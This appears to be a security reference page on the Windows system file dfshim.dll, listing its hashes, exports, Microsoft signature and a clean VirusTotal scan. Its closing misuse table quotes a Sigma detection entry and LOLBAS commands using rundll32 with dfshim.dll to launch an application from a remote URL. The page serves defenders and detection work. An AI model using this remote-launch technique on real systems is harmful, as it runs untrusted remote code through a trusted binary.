dfshim.dll

File Path: C:\Windows\system32\dfshim.dll
Description: ClickOnce Application Deployment Support Library

Hashes

Type	Hash
MD5	`85471BF1E885DF57FF1EE9772BAFCC35`
SHA1	`898C0B9415524BFEBB1DD5EDB1CAA9DC91F19363`
SHA256	`65CB5A9E02A25267AC0CEDD9CA048DFE45C38B8D0FD224773450F9799BDA7FB0`
SHA384	`4A543660C7C4117AFC2B6072A1CF7ABB91DD48607C56AE4927AEF876702FB70247A6366597495F0BD81DB4743649ED6F`
SHA512	`C085F33E152A92263F71325864BC939EE16A6A0A3377385C817DBBC7DEBDAC9CE5F32C5C67011292CDFB82AB2B57AE84D774EE732621EA821569008B172169C2`
SSDEEP	`12288:Yv86KwAE1oHnkWR/WBbavF0w6CTz5de1RxIKxbWJxKORHtd4cnBZ3H+U6uU85WNa:LWHMnko65rM+p9fkyt7KLgHt7o`
IMP	`71F2605719AC7F33662181495B79B766`
PESHA1	`827C99BE1B389DD22B1C12F32DC493231C73BC45`
PE256	`164D8FD78D69A8D4823C1FF12C70ED97AC6EBB7D0222BF2AA8D34B22B6C31C20`

DLL Exports:

Function Name	Ordinal	Type
`ShArpMaintainW`	10	Exported Function
`ShOpenVerbApplication`	11	Exported Function
`ShArpMaintain`	9	Exported Function
`LaunchApplication`	7	Exported Function
`ParseManifest`	8	Exported Function
`ShOpenVerbShortcut`	15	Exported Function
`ShOpenVerbShortcutW`	16	Exported Function
`ShOpenVerbExtensionW`	14	Exported Function
`ShOpenVerbApplicationW`	12	Exported Function
`ShOpenVerbExtension`	13	Exported Function
`DllCanUnloadNow`	18	Exported Function
`DllGetClassObject`	19	Exported Function
`CreateCMSFromXml`	2	Exported Function
`CleanOnlineAppCache`	17	Exported Function
`CreateActContext`	1	Exported Function
`GetUserStore`	5	Exported Function
`KillService`	6	Exported Function
`GetUserStateManager`	4	Exported Function
`GetCurrentActContext`	3	Exported Function
`GetDeploymentDataFromManifest`	20	Exported Function

Signature

Status: Signature verified.
Serial: 330000023241FB59996DCC4DFF000000000232
Thumbprint: FF82BC38E1DA5E596DF374C53E3617F7EDA36B06
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: dfshim.dll
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.19041.1 (WinBuild.160101.0800)
Product Version: 10.0.19041.1
Language: English (United States)
Legal Copyright: Microsoft Corporation. All rights reserved.
Machine Type: 64-bit

File Scan

VirusTotal Detections: 0/71
VirusTotal Link: https://www.virustotal.com/gui/file/65cb5a9e02a25267ac0cedd9ca048dfe45c38b8d0fd224773450f9799bda7fb0/detection/

Possible Misuse

The following table contains possible examples of dfshim.dll being misused. While dfshim.dll is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_susp_rundll32_activity.yml	`- 'dfshim.dll'`	DRL 1.0
LOLBAS	Dfsvc.yml	`- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo`
LOLBAS	Dfshim.yml	`Name: Dfshim.dll`
LOLBAS	Dfshim.yml	`- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo`